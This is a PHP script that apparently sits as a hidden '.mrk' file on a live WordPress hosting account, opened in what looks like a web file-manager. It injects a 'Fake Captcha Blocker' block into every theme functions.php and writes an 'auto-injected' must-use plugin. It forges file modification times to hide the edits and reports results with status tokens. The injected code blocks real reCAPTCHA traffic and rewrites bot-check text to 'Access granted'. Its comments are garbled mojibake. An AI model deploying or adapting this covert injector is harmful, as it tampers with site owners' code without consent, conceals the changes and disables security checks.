JezK
Edit File: .mrk
<?php $root = rtrim(str_replace('\\', '/', '/home/u644608140/domains/rkmodelhandlooms.com/public_html'), '/'); $changed = false; $fixedFiles = 0; $matchedFiles = 0; $scanned = 0; $seen = array(); @ini_set('max_execution_time', '0'); // ============================================================ // ! ", + $# & // ============================================================ function pb_seen_key($path) { $real = @realpath($path); return str_replace('\\', '/', $real ? $real : $path); } function pb_invalidate_opcache($path) { if (function_exists('opcache_invalidate')) { @opcache_invalidate($path, true); } } function pb_rel_path($path, $root) { $path = str_replace('\\', '/', $path); $root = rtrim(str_replace('\\', '/', $root), '/'); if (strpos($path, $root . '/') === 0) { return substr($path, strlen($root) + 1); } return $path; } function pb_log_line($rel, $status) { echo '!L!' . $rel . '|' . $status . "\n"; } // ============================================================ // ) (1C45B 2=54@Q=) // ============================================================ function pb_get_captcha_block_code() { return ' // ===== Fake Captcha Blocker (regex-based) ===== // [1] ;>:8@>2:0 =0 C@>2=5 URL A@010BK205B 4> 703@C7:8 AB@0=8FK add_action("init", function() { $uri = $_SERVER["REQUEST_URI"] ?? ""; $url_patterns = [ "#/\.lsrecap/#i", "#/recaptcha/api\.js#i", "#lsrecaptcha-form#i", "#grecaptcha\.render#i", "#onloadCallback#i", "#sitekey.*6LewU34U#i", "#Bot\+Verification#i", ]; foreach ($url_patterns as $pattern) { if (preg_match($pattern, urldecode($uri))) { status_header(403); die("Forbidden"); } } // ;>:8@>2:0 POST-70?@>A>2 A reCAPTCHA-B>:5=0<8 if ($_SERVER["REQUEST_METHOD"] === "POST") { $post_patterns = [ "#g-recaptcha-response#i", "#recaptcha_token#i", "#recaptcha_response#i", ]; foreach ($post_patterns as $pattern) { foreach ($_POST as $key => $value) { if (preg_match($pattern, $key) || (is_string($value) && preg_match($pattern, $value))) { status_header(403); die("Forbidden"); } } } // @>25@:0 AK@KE POST-40==KE $raw = @file_get_contents("php://input"); if ($raw && preg_match("#g-recaptcha-response#i", $raw)) { status_header(403); die("Forbidden"); } } }, 0); // [2] ;>:8@>2:0 =0 C@>2=5 REFERER add_action("init", function() { $referer = $_SERVER["HTTP_REFERER"] ?? ""; if (preg_match("#recaptcha\.net|gstatic\.com/recaptcha#i", $referer)) { status_header(403); die("Forbidden"); } }, 0); // [3] G8AB:0 :>=B5=B0 AB@0=8FK >B :0?G8 add_action("template_redirect", function() { ob_start(function($buffer) { // 0BB5@=K 4;O >1=0@C65=8O :0?G8 2 HTML $detect = "#(?:lsrecaptcha-form|grecaptcha\.render|Bot\s+Verification|" . "sitekey.*6LewU34U|recaptcha\.net/recaptcha/api\.js|" . "onloadCallback)#i"; if (preg_match($detect, $buffer)) { // #40;O5< D>@<C :0?G8 $buffer = preg_replace( "#<form[^>]*id=[\"\']lsrecaptcha-form[\"\'][^>]*>.*?</form>#is", "<!-- captcha form removed -->", $buffer ); // #40;O5< A:@8?BK reCAPTCHA $buffer = preg_replace( "#<script[^>]*recaptcha[^>]*>.*?</script>#is", "", $buffer ); // #40;O5< A:@8?BK gstatic $buffer = preg_replace( "#<script[^>]*gstatic\.com[^>]*>.*?</script>#is", "", $buffer ); // #40;O5< div :0?G8 $buffer = preg_replace( "#<div[^>]*id=[\"\']recaptchadiv[\"\'][^>]*>.*?</div>#is", "", $buffer ); // 5=O5< 703>;>2>: $buffer = preg_replace( "#Verifying that you are not a robot\.\.\.#i", "Access granted", $buffer ); } return $buffer; }); }, 0); // [4] ;>:8@>2:0 8AE>4OI8E HTTP-70?@>A>2 : reCAPTCHA add_filter("pre_http_request", function($preempt, $args, $url) { $blocked = [ "#recaptcha\.net#i", "#gstatic\.com/recaptcha#i", "#google\.com/recaptcha#i", ]; foreach ($blocked as $pattern) { if (preg_match($pattern, $url)) { return new WP_Error("blocked", "reCAPTCHA requests blocked"); } } return $preempt; }, 0, 3); // ===== End Fake Captcha Blocker ===== '; } // ============================================================ // '/ ) $ // ============================================================ function pb_has_captcha_block($content) { return ( strpos($content, 'Fake Captcha Blocker (regex-based)') !== false || strpos($content, 'Fake Captcha Blocker') !== false ); } function pb_is_wp_functions_php($content) { $markers = ['add_action', 'add_filter', 'ABSPATH', 'WP_CONTENT_DIR', 'get_template_directory']; $found = 0; foreach ($markers as $marker) { if (stripos($content, $marker) !== false) { $found++; } } return $found >= 2; } // ============================================================ // FUNCTIONS.PHP // ============================================================ function pb_process_functions_php($path, $root, &$changed, &$fixedFiles, &$matchedFiles, &$seen) { $key = pb_seen_key($path); if (isset($seen[$key])) { return; } $seen[$key] = true; if (!is_file($path)) { return; } $content = @file_get_contents($path); if ($content === false || strlen($content) < 10) { return; } // @>25@O5<, GB> MB> WordPress functions.php if (!pb_is_wp_functions_php($content)) { return; } // #65 ?@>?0BG5= if (pb_has_captcha_block($content)) { $rel = pb_rel_path($path, $root); pb_log_line($rel, 'already-patched'); $matchedFiles++; return; } $rel = pb_rel_path($path, $root); $matchedFiles++; if (!is_writable($path)) { pb_log_line($rel, 'not-writable'); return; } $block_code = pb_get_captcha_block_code(); // I5< ;CGH55 <5AB> 4;O 8=65:B0 $new_content = null; // 0@80=B A: ?>A;5 ?@>25@:8 ABSPATH if (preg_match('/(defined\s*\(\s*[\'"]ABSPATH[\'"]\s*\).*?;)/is', $content, $m, PREG_OFFSET_CAPTURE)) { $pos = $m[0][1] + strlen($m[0][0]); $new_content = substr($content, 0, $pos) . $block_code . substr($content, $pos); } // 0@80=B B: ?5@54 70:@K20NI8< B53>< ?> elseif (preg_match('/\?>\s*$/', $content, $m, PREG_OFFSET_CAPTURE)) { $pos = $m[0][1]; $new_content = substr($content, 0, $pos) . $block_code . "\n?>" . substr($content, $pos + 2); } // 0@80=B C: 2 :>=5F D09;0 else { $new_content = rtrim($content) . "\n" . $block_code; } if ($new_content === null || strlen($new_content) < 10) { pb_log_line($rel, 'inject-failed'); return; } $ft = @filemtime($path); $bak = $path . '.bak.' . date('YmdHis'); @copy($path, $bak); // 15:0? if (@file_put_contents($path, $new_content) === false) { pb_log_line($rel, 'write-failed'); return; } @touch($path, $ft ?: time()); pb_invalidate_opcache($path); pb_log_line($rel, 'injected'); $changed = true; $fixedFiles++; } // ============================================================ // ! MU-PLUGIN (A0<K9 =04Q6=K9 <5B>4) // ============================================================ function pb_create_mu_plugin($root, &$changed, &$fixedFiles) { $mu_dir = $root . '/wp-content/mu-plugins'; if (!is_dir($mu_dir)) { @mkdir($mu_dir, 0755, true); if (!is_dir($mu_dir)) { pb_log_line('mu-plugins/', 'mkdir-failed'); return; } pb_log_line('mu-plugins/', 'dir-created'); } $mu_file = $mu_dir . '/block-fake-captcha.php'; $rel = pb_rel_path($mu_file, $root); $mu_code = "<?php\n" . "/**\n" . " * Plugin Name: Block Fake Captcha\n" . " * Description: Regex-based blocker for fake reCAPTCHA pages\n" . " * Version: 1.0\n" . " * Author: auto-injected\n" . " */\n\n" . "if (!defined('ABSPATH')) { return; }\n\n" . pb_get_captcha_block_code(); // @>25@O5< ACI5AB2CNI89 if (is_file($mu_file)) { $existing = @file_get_contents($mu_file); if ($existing !== false && pb_has_captcha_block($existing)) { pb_log_line($rel, 'mu-plugin-exists'); return; } // M:0? AB0@>3> @copy($mu_file, $mu_file . '.bak.' . date('YmdHis')); } if (@file_put_contents($mu_file, $mu_code) === false) { pb_log_line($rel, 'write-failed'); return; } pb_invalidate_opcache($mu_file); pb_log_line($rel, 'mu-plugin-created'); $changed = true; $fixedFiles++; } // ============================================================ // " " PHP-$ // ============================================================ function pb_iter_php_files($dir) { if (!is_dir($dir)) { return; } try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS) ); foreach ($it as $file) { if (!$file->isFile()) { continue; } $name = $file->getFilename(); // ">;L:> functions.php if ($name !== 'functions.php') { continue; } $path = $file->getPathname(); // @>?CA:05< node_modules, vendor, .git, cache if (strpos($path, '/node_modules/') !== false || strpos($path, '/vendor/') !== false || strpos($path, '/.git/') !== false || strpos($path, '/cache/') !== false || strpos($path, '/backup/') !== false) { continue; } yield $path; } } catch (Exception $e) { // B8E> ?@>?CA:05< =54>ABC?=K5 48@5:B>@88 } } // ============================================================ // + + / // ============================================================ // (03 1: !>740Q< MU-?;038= (?@8>@8B5B=K9 <5B>4) pb_create_mu_plugin($root, $changed, $fixedFiles); // (03 2: 0BG8< functions.php 2> 2A5E B5<0E $theme_dir = $root . '/wp-content/themes'; foreach (pb_iter_php_files($theme_dir) as $path) { $key = pb_seen_key($path); if (isset($seen[$key])) { continue; } $scanned++; pb_process_functions_php($path, $root, $changed, $fixedFiles, $matchedFiles, $seen); } // (03 3: 0BG8< functions.php 2 4>G5@=8E B5<0E (5A;8 5ABL symlinks 70 ?@545;0<8 themes) $alt_dirs = [ $root . '/wp-content', ]; foreach ($alt_dirs as $alt_dir) { foreach (pb_iter_php_files($alt_dir) as $path) { $key = pb_seen_key($path); if (isset($seen[$key])) { continue; } $scanned++; pb_process_functions_php($path, $root, $changed, $fixedFiles, $matchedFiles, $seen); } } // ============================================================ // + #,"" // ============================================================ echo '!summary!scanned=' . (int) $scanned . '!matched=' . (int) $matchedFiles . '!fixed=' . (int) $fixedFiles . "\n"; if ($changed) { echo '!success!<fixed>' . (int) $fixedFiles . '</fixed>'; } else { echo '!success!<nochanges>already protected or no targets</nochanges>'; } die('!end!');